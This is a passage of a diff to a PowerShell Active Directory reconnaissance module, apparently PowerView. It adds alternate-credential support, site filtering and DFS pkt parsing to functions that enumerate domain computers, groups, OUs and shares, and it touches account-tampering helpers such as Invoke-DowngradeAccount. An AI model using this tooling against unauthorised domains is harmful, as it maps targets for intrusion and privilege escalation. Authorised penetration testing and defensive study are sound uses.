# check for any ACLs with SIDs > -1000
try {
+ # TODO: change this to a regex for speedup?
[int]($_.IdentitySid.split("-")[-1]) -ge 1000
}
catch {}
@@ -3180,7 +3256,7 @@ function Invoke-ACLScanner {
}
-function Get-GUIDMap {
+filter Get-GUIDMap {
<#
.SYNOPSIS
@@ -3207,6 +3283,7 @@ function Get-GUIDMap {
[CmdletBinding()]
Param (
+ [Parameter(ValueFromPipeline=$True)]
[String]
$Domain,
@@ -3233,10 +3310,10 @@ function Get-GUIDMap {
}
catch {
Write-Debug "Error in building GUID map: $_"
- }
+ }
}
- $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize
+ $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
if ($RightsSearcher) {
$RightsSearcher.filter = "(objectClass=controlAccessRight)"
try {
@@ -3306,6 +3383,10 @@ function Get-NetComputer {
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
+
+ .PARAMETER SiteName
+
+ The AD Site name to search for computers.
.PARAMETER Unconstrained
@@ -3315,6 +3396,11 @@ function Get-NetComputer {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetComputer
@@ -3381,17 +3467,23 @@ function Get-NetComputer {
[String]
$ADSpath,
+ [String]
+ $SiteName,
+
[Switch]
$Unconstrained,
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- # so this isn't repeated if users are passed on the pipeline
- $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ # so this isn't repeated if multiple computer names are passed on the pipeline
+ $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
}
process {
@@ -3419,8 +3511,13 @@ function Get-NetComputer {
if($ServicePack) {
$Filter += "(operatingsystemservicepack=$ServicePack)"
}
+ if($SiteName) {
+ $Filter += "(serverreferencebl=$SiteName)"
+ }
- $CompSearcher.filter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
+ $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
+ Write-Verbose "Get-NetComputer filter : '$CompFilter'"
+ $CompSearcher.filter = $CompFilter
try {
@@ -3496,6 +3593,11 @@ function Get-ADObject {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-ADObject -SID "S-1-5-21-2620891829-2411261497-1773853088-1110"
@@ -3538,7 +3640,10 @@ function Get-ADObject {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
process {
if($SID) {
@@ -3546,7 +3651,7 @@ function Get-ADObject {
try {
$Name = Convert-SidToName $SID
if($Name) {
- $Canonical = Convert-NT4toCanonical -ObjectName $Name
+ $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
if($Canonical) {
$Domain = $Canonical.split("/")[0]
}
@@ -3562,10 +3667,9 @@ function Get-ADObject {
}
}
- $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($ObjectSearcher) {
-
if($SID) {
$ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
}
@@ -3642,6 +3746,11 @@ function Set-ADObject {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
@@ -3689,7 +3798,10 @@ function Set-ADObject {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
$Arguments = @{
@@ -3700,6 +3812,7 @@ function Set-ADObject {
'DomainController' = $DomainController
'Filter' = $Filter
'PageSize' = $PageSize
+ 'Credential' = $Credential
}
# splat the appropriate arguments to Get-ADObject
$RawObject = Get-ADObject -ReturnRaw @Arguments
@@ -3765,6 +3878,11 @@ function Invoke-DowngradeAccount {
Switch. Unset the reversible encryption flag and force password reset flag.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS> Invoke-DowngradeAccount -SamAccountName jason
@@ -3780,10 +3898,11 @@ function Invoke-DowngradeAccount {
[CmdletBinding()]
Param (
- [Parameter(Position=0,ValueFromPipeline=$True)]
+ [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
[String]
$SamAccountName,
+ [Parameter(ParameterSetName = 'Name')]
[String]
$Name,
@@ -3797,7 +3916,10 @@ function Invoke-DowngradeAccount {
$Filter,
[Switch]
- $Repair
+ $Repair,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
process {
@@ -3807,6 +3929,7 @@ function Invoke-DowngradeAccount {
'Domain' = $Domain
'DomainController' = $DomainController
'Filter' = $Filter
+ 'Credential' = $Credential
}
# splat the appropriate arguments to Get-ADObject
@@ -3868,6 +3991,11 @@ function Get-ComputerProperty {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-ComputerProperty -Domain testing
@@ -3899,17 +4027,20 @@ function Get-ComputerProperty {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
if($Properties) {
# extract out the set of all properties for each object
$Properties = ,"name" + $Properties | Sort-Object -Unique
- Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -Property $Properties
+ Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
}
else {
# extract out just the property names
- Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
+ Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
}
}
@@ -3949,6 +4080,11 @@ function Find-ComputerField {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Find-ComputerField -SearchTerm backup -SearchField info
@@ -3978,11 +4114,14 @@ function Find-ComputerField {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
process {
- Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
+ Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
}
}
@@ -4021,6 +4160,11 @@ function Get-NetOU {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetOU
@@ -4037,7 +4181,13 @@ function Get-NetOU {
PS C:\> Get-NetOU -GUID 123-...
- Returns all OUs with linked to the specified group policy object.
+ Returns all OUs with linked to the specified group policy object.
+
+ .EXAMPLE
+
+ PS C:\> "*admin*","*server*" | Get-NetOU
+
+ Get the full OU names for the given search terms piped on the pipeline.
#>
[CmdletBinding()]
@@ -4063,11 +4213,14 @@ function Get-NetOU {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
if ($OUSearcher) {
@@ -4079,16 +4232,21 @@ function Get-NetOU {
$OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
}
- $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
- if ($FullData) {
- # convert/process the LDAP fields for each result
- Convert-LDAPProperty -Properties $_.Properties
- }
- else {
- # otherwise just returning the ADS paths of the OUs
- $_.properties.adspath
+ try {
+ $OUSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
+ if ($FullData) {
+ # convert/process the LDAP fields for each result
+ Convert-LDAPProperty -Properties $_.Properties
+ }
+ else {
+ # otherwise just returning the ADS paths of the OUs
+ $_.properties.adspath
+ }
}
}
+ catch {
+ Write-Warning $_
+ }
}
}
}
@@ -4128,6 +4286,11 @@ function Get-NetSite {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetSite -Domain testlab.local -FullData
@@ -4158,11 +4321,18 @@ function Get-NetSite {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
+ if(!$Domain) {
+ $Domain = Get-NetDomain -Credential $Credential
+ }
+
+ $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
}
process {
if($SiteSearcher) {
@@ -4225,6 +4395,11 @@ function Get-NetSubnet {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetSubnet
@@ -4258,11 +4433,18 @@ function Get-NetSubnet {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
+ if(!$Domain) {
+ $Domain = Get-NetDomain -Credential $Credential
+ }
+
+ $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
}
process {
@@ -4390,6 +4572,11 @@ function Get-NetGroup {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetGroup
@@ -4444,11 +4631,14 @@ function Get-NetGroup {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
- $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
process {
@@ -4461,7 +4651,7 @@ function Get-NetGroup {
if ($UserName) {
# get the raw user object
- $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -ReturnRaw -PageSize $PageSize
+ $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize
# convert the user to a directory entry
$UserDirectoryEntry = $User.GetDirectoryEntry()
@@ -4469,14 +4659,14 @@ function Get-NetGroup {
# cause the cache to calculate the token groups for the user
$UserDirectoryEntry.RefreshCache("tokenGroups")
- $UserDirectoryEntry.TokenGroups | Foreach-Object {
+ $UserDirectoryEntry.TokenGroups | ForEach-Object {
# convert the token group sid
$GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
# ignore the built in users and default domain user group
if(!($GroupSid -match '^S-1-5-32-545|-513$')) {
if($FullData) {
- Get-ADObject -SID $GroupSid -PageSize $PageSize
+ Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
}
else {
if($RawSids) {
@@ -4565,6 +4755,11 @@ function Get-NetGroupMember {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetGroupMember
@@ -4592,7 +4787,7 @@ function Get-NetGroupMember {
$SID,
[String]
- $Domain = (Get-NetDomain).Name,
+ $Domain,
[String]
$DomainController,
@@ -4611,15 +4806,22 @@ function Get-NetGroupMember {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
begin {
# so this isn't repeated if users are passed on the pipeline
- $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if(!$DomainController) {
- $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
+ $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
+ }
+
+ if(!$Domain) {
+ $Domain = Get-NetDomain -Credential $Credential
}
}
@@ -4630,15 +4832,15 @@ function Get-NetGroupMember {
if ($Recurse -and $UseMatchingRule) {
# resolve the group to a distinguishedname
if ($GroupName) {
- $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -FullData -PageSize $PageSize
+ $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize
}
elseif ($SID) {
- $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
+ $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize
}
else {
# default to domain admins
- $SID = (Get-DomainSID -Domain $Domain) + "-512"
- $Group = Get-NetGroup -SID $SID -Domain $Domain -FullData -PageSize $PageSize
+ $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512"
+ $Group = Get-NetGroup -SID $SID -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize
}
$GroupDN = $Group.distinguishedname
$GroupFoundName = $Group.name
@@ -4663,7 +4865,7 @@ function Get-NetGroupMember {
}
else {
# default to domain admins
- $SID = (Get-DomainSID -Domain $Domain) + "-512"
+ $SID = (Get-DomainSID -Domain $Domain -Credential $Credential) + "-512"
$GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
}
@@ -4736,12 +4938,7 @@ function Get-NetGroupMember {
if($Properties) {
- if($Properties.samaccounttype -notmatch '805306368') {
- $IsGroup = $True
- }
- else {
- $IsGroup = $False
- }
+ $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Properties.samaccounttype
if ($FullData) {
$GroupMember = Convert-LDAPProperty -Properties $Properties
@@ -4795,7 +4992,12 @@ function Get-NetGroupMember {
# if we're doing manual recursion
if ($Recurse -and !$UseMatchingRule -and $IsGroup -and $MemberName) {
- Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -GroupName $MemberName -Recurse -PageSize $PageSize
+ if($FullData) {
+ Get-NetGroupMember -FullData -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
+ }
+ else {
+ Get-NetGroupMember -Domain $MemberDomain -DomainController $DomainController -Credential $Credential -GroupName $MemberName -Recurse -PageSize $PageSize
+ }
}
}
@@ -4828,6 +5030,11 @@ function Get-NetFileServer {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-NetFileServer
@@ -4854,7 +5061,10 @@ function Get-NetFileServer {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
function SplitPath {
@@ -4869,13 +5079,13 @@ function Get-NetFileServer {
}
}
- Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Where-Object {$_} | Where-Object {
+ Get-NetUser -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize | Where-Object {$_} | Where-Object {
# filter for any target users
if($TargetUsers) {
$TargetUsers -Match $_.samAccountName
}
else { $True }
- } | Foreach-Object {
+ } | ForEach-Object {
# split out every potential file server path
if($_.homedirectory) {
SplitPath($_.homedirectory)
@@ -4920,16 +5130,21 @@ function Get-DFSshare {
The PageSize to set for the LDAP searcher object.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object of alternate credentials
+ for connection to the target domain.
+
.EXAMPLE
PS C:\> Get-DFSshare
-
+
Returns all distributed file system shares for the current domain.
.EXAMPLE
PS C:\> Get-DFSshare -Domain test
-
+
Returns all distributed file system shares for the 'test' domain.
#>
@@ -4950,9 +5165,191 @@ function Get-DFSshare {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
+ function Parse-Pkt {
+ [CmdletBinding()]
+ param(
+ [byte[]]
+ $Pkt
+ )
+
+ $bin = $Pkt
+ $blob_version = [bitconverter]::ToUInt32($bin[0..3],0)
+ $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0)
+ #Write-Host "Element Count: " $blob_element_count
+ $offset = 8
+ #https://msdn.microsoft.com/en-us/library/cc227147.aspx
+ $object_list = @()
+ for($i=1; $i -le $blob_element_count; $i++){
+ $blob_name_size_start = $offset
+ $blob_name_size_end = $offset + 1
+ $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0)
+ #Write-Host "Blob name size: " $blob_name_size
+ $blob_name_start = $blob_name_size_end + 1
+ $blob_name_end = $blob_name_start + $blob_name_size - 1
+ $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end])
+ #Write-Host "Blob Name: " $blob_name
+ $blob_data_size_start = $blob_name_end + 1
+ $blob_data_size_end = $blob_data_size_start + 3
+ $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0)
+ #Write-Host "blob data size: " $blob_data_size
+ $blob_data_start = $blob_data_size_end + 1
+ $blob_data_end = $blob_data_start + $blob_data_size - 1
+ $blob_data = $bin[$blob_data_start..$blob_data_end]
+ switch -wildcard ($blob_name) {
+ "\siteroot" { }
+ "\domainroot*" {
+ # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first...
+ # DFSRootOrLinkIDBlob
+ $root_or_link_guid_start = 0
+ $root_or_link_guid_end = 15
+ $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end]
+ $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str
+ $prefix_size_start = $root_or_link_guid_end + 1
+ $prefix_size_end = $prefix_size_start + 1
+ $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0)
+ $prefix_start = $prefix_size_end + 1
+ $prefix_end = $prefix_start + $prefix_size - 1
+ $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end])
+ #write-host "Prefix: " $prefix
+ $short_prefix_size_start = $prefix_end + 1
+ $short_prefix_size_end = $short_prefix_size_start + 1
+ $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0)
+ $short_prefix_start = $short_prefix_size_end + 1
+ $short_prefix_end = $short_prefix_start + $short_prefix_size - 1
+ $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end])
+ #write-host "Short Prefix: " $short_prefix
+ $type_start = $short_prefix_end + 1
+ $type_end = $type_start + 3
+ $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0)
+ #write-host $type
+ $state_start = $type_end + 1
+ $state_end = $state_start + 3
+ $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0)
+ #write-host $state
+ $comment_size_start = $state_end + 1
+ $comment_size_end = $comment_size_start + 1
+ $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0)
+ $comment_start = $comment_size_end + 1
+ $comment_end = $comment_start + $comment_size - 1
+ if ($comment_size -gt 0) {
+ $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end])
+ #Write-Host $comment
+ }
+ $prefix_timestamp_start = $comment_end + 1
+ $prefix_timestamp_end = $prefix_timestamp_start + 7
+ # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME
+ $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime
+ $state_timestamp_start = $prefix_timestamp_end + 1
+ $state_timestamp_end = $state_timestamp_start + 7
+ $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end]
+ $comment_timestamp_start = $state_timestamp_end + 1
+ $comment_timestamp_end = $comment_timestamp_start + 7
+ $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end]
+ $version_start = $comment_timestamp_end + 1
+ $version_end = $version_start + 3
+ $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0)
+
+ #write-host $version
+ if ($version -ne 3)
+ {
+ #write-host "error"
+ }
+
+ # Parse rest of DFSNamespaceRootOrLinkBlob here
+ $dfs_targetlist_blob_size_start = $version_end + 1
+ $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3
+ $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0)
+ #write-host $dfs_targetlist_blob_size
+ $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1
+ $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1
+ $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end]
+ $reserved_blob_size_start = $dfs_targetlist_blob_end + 1
+ $reserved_blob_size_end = $reserved_blob_size_start + 3
+ $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0)
+ #write-host $reserved_blob_size
+ $reserved_blob_start = $reserved_blob_size_end + 1
+ $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1
+ $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end]
+ $referral_ttl_start = $reserved_blob_end + 1
+ $referral_ttl_end = $referral_ttl_start + 3
+ $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0)
+
+ #Parse DFSTargetListBlob
+ $target_count_start = 0
+ $target_count_end = $target_count_start + 3
+ $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0)
+ $t_offset = $target_count_end + 1
+ #write-host $target_count
+
+ for($j=1; $j -le $target_count; $j++){
+ $target_entry_size_start = $t_offset
+ $target_entry_size_end = $target_entry_size_start + 3
+ $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0)
+ #write-host $target_entry_size
+ $target_time_stamp_start = $target_entry_size_end + 1
+ $target_time_stamp_end = $target_time_stamp_start + 7
+ # FILETIME again or special if priority rank and priority class 0
+ $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end]
+ $target_state_start = $target_time_stamp_end + 1
+ $target_state_end = $target_state_start + 3
+ $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0)
+ #write-host $target_state
+ $target_type_start = $target_state_end + 1
+ $target_type_end = $target_type_start + 3
+ $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0)
+ #write-host $target_type
+ $server_name_size_start = $target_type_end + 1
+ $server_name_size_end = $server_name_size_start + 1
+ $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0)
+ #write-host $server_name_size
+ $server_name_start = $server_name_size_end + 1
+ $server_name_end = $server_name_start + $server_name_size - 1
+ $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end])
+ #write-host $server_name
+ $share_name_size_start = $server_name_end + 1
+ $share_name_size_end = $share_name_size_start + 1
+ $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0)
+ $share_name_start = $share_name_size_end + 1
+ $share_name_end = $share_name_start + $share_name_size - 1
+ $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end])
+ #write-host $share_name
+ $target_list += "\\$server_name\$share_name"
+ $t_offset = $share_name_end + 1
+ }
+ }
+ }
+ $offset = $blob_data_end + 1
+ $dfs_pkt_properties = @{
+ 'Name' = $blob_name
+ 'Prefix' = $prefix
+ 'TargetList' = $target_list
+ }
+ $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties
+ $prefix = $null
+ $blob_name = $null
+ $target_list = $null
+ }
+
+ $servers = @()
+ $object_list | ForEach-Object {
+ #write-host $_.Name;
+ #write-host $_.TargetList
+ if ($_.TargetList) {
+ $_.TargetList | ForEach-Object {
+ $servers += $_.split("\")[2]
+ }
+ }
+ }
+
+ $servers
+ }
+
function Get-DFSshareV1 {
[CmdletBinding()]
param(
@@ -4965,12 +5362,15 @@ function Get-DFSshare {
[String]
$ADSpath,
- [ValidateRange(1,10000)]
+ [ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($DFSsearcher) {
$DFSshares = @()
@@ -4980,6 +5380,7 @@ function Get-DFSshare {
$DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object {
$Properties = $_.Properties
$RemoteNames = $Properties.remoteservername
+ $Pkt = $Properties.pkt
$DFSshares += $RemoteNames | ForEach-Object {
try {
@@ -4992,9 +5393,22 @@ function Get-DFSshare {
}
}
}
+
+ if($pkt -and $pkt[0]) {
+ Parse-Pkt $pkt[0] | ForEach-Object {
+ # If a folder doesn't have a redirection it will
+ # have a target like
+ # \\null\TestNameSpace\folder\.DFSFolderLink so we
+ # do actually want to match on "null" rather than
+ # $null
+ if ($_ -ne "null") {
+ New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_}
+ }
+ }
+ }
}
catch {
- Write-Warning "Get-DFSshareV2 error : $_"
+ Write-Warning "Get-DFSshareV1 error : $_"
}
$DFSshares | Sort-Object -Property "RemoteServerName"
}
@@ -5014,10 +5428,13 @@ function Get-DFSshare {
[ValidateRange(1,10000)]
[Int]
- $PageSize = 200
+ $PageSize = 200,
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $DFSsearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
if($DFSsearcher) {
$DFSshares = @()
@@ -5052,15 +5469,15 @@ function Get-DFSshare {
}
$DFSshares = @()
-
+
if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) {
- $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
if ( ($Version -eq "all") -or ($Version.endsWith("2")) ) {
- $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize
+ $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
}
- $DFSshares | Sort-Object -Property "RemoteServerName"
+ $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique
}
@@ -5130,42 +5547,38 @@ function Get-GptTmpl {
$SectionsFinal = @{}
try {
+ Write-Verbose "Parsing $GptTmplPath"
- if(Test-Path $GptTmplPath) {
-
